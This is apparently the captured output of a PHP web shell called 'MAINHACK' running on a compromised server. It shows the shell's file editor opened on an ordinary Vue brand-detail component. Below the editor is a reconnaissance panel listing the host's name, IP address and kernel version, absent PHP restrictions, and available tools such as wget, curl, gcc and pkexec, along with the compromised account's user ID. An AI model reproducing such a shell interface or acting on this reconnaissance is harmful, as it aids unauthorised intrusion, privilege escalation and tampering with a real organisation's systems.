[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: show.vue
<template> <div> <!-- breadcrumbs Start --> <breadcrumbs :items="breadcrumbs" :current="breadcrumbsCurrent" /> <!-- breadcrumbs end --> <div class="row"> <div class="col-12 col-xl-3"> <SettingsSidebar /> </div> <div class="col-12 col-xl-9"> <div class="card"> <div class="card-header setings-header no-print"> <div class="col-xl-4 col-4"> <h3 class="card-title"> {{ $t("setup.brands.edit.form_title") }} </h3> </div> <div class="col-xl-8 col-8 float-right text-right"> <div class="btn-group"> <router-link :to="{ name: 'brands.index' }" class="btn btn-dark float-right" > <i class="fas fa-long-arrow-alt-left" /> {{ $t("common.back") }} </router-link> <a href="#" @click="printWindow" class="btn btn-default" ><i class="fas fa-print"></i> {{ $t("common.print") }}</a > </div> </div> </div> <div class="card-body"> <div class="invoice p-3 mb-3"> <div class="table-responsive table-custom"> <table class="table"> <thead> <tr> <th>{{ $t("common.preview") }}</th> <th>{{ $t("setup.brands.common.brand_name") }}</th> <th>{{ $t("setup.common.sort_code") }}</th> <th v-if="allData.note">{{ $t("common.note") }}</th> <th>{{ $t("common.status") }}</th> <th class="text-right"> {{ $t("common.created_at") }} </th> </tr> </thead> <tbody> <tr> <td> <a v-if="allData.image" href="#" id="show-modal" @click="showModal = true" > <img :src="allData.image" class="rounded preview-sm" loading="lazy" /> </a> <div v-else class="bg-secondary rounded no-preview-sm"> <small>{{ $t("common.no_preview") }}</small> </div> </td> <td>{{ allData.name }}</td> <td>{{ allData.code }}</td> <td v-if="allData.note">{{ allData.note }}</td> <td> <span v-if="allData.status === 1" class="badge bg-success" >{{ $t("common.active") }}</span > <span v-else class="badge bg-danger" >>{{ $t("common.in_active") }}</span > </td> <td class="text-right"> {{ allData.createdAt | moment("Do MMM, YYYY") }} </td> </tr> </tbody> </table> </div> </div> </div> </div> </div> </div> <!-- use the modal component, pass in the prop --> <Modal v-if="showModal" @close="showModal = false"> <h5 slot="header">{{ $t("common.modal_header") }}</h5> <div class="w-100" slot="body"> <img :src="allData.image" class="rounded img-fluid" loading="lazy" /> </div> </Modal> </div> </template> <script> import axios from "axios"; export default { middleware: ["auth", "check-permissions"], metaInfo() { return { title: this.$t("setup.brands.view.page_title") }; }, data: () => ({ breadcrumbsCurrent: "setup.brands.view.breadcrumbs_current", breadcrumbs: [ { name: "setup.brands.view.breadcrumbs_first", url: "home", }, { name: "setup.brands.view.breadcrumbs_second", url: "setup.index", }, { name: "setup.brands.view.breadcrumbs_third", url: "brands.index", }, { name: "setup.brands.view.breadcrumbs_active", url: "", }, ], url: null, showModal: false, allData: "", }), created() { this.getBrand(); }, methods: { // get the brand async getBrand() { const { data } = await axios.get( window.location.origin + "/api/brands/" + this.$route.params.slug ); this.allData = data.data; }, // print printWindow() { window.print(); }, }, }; </script> <style lang="scss" scoped> </style>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002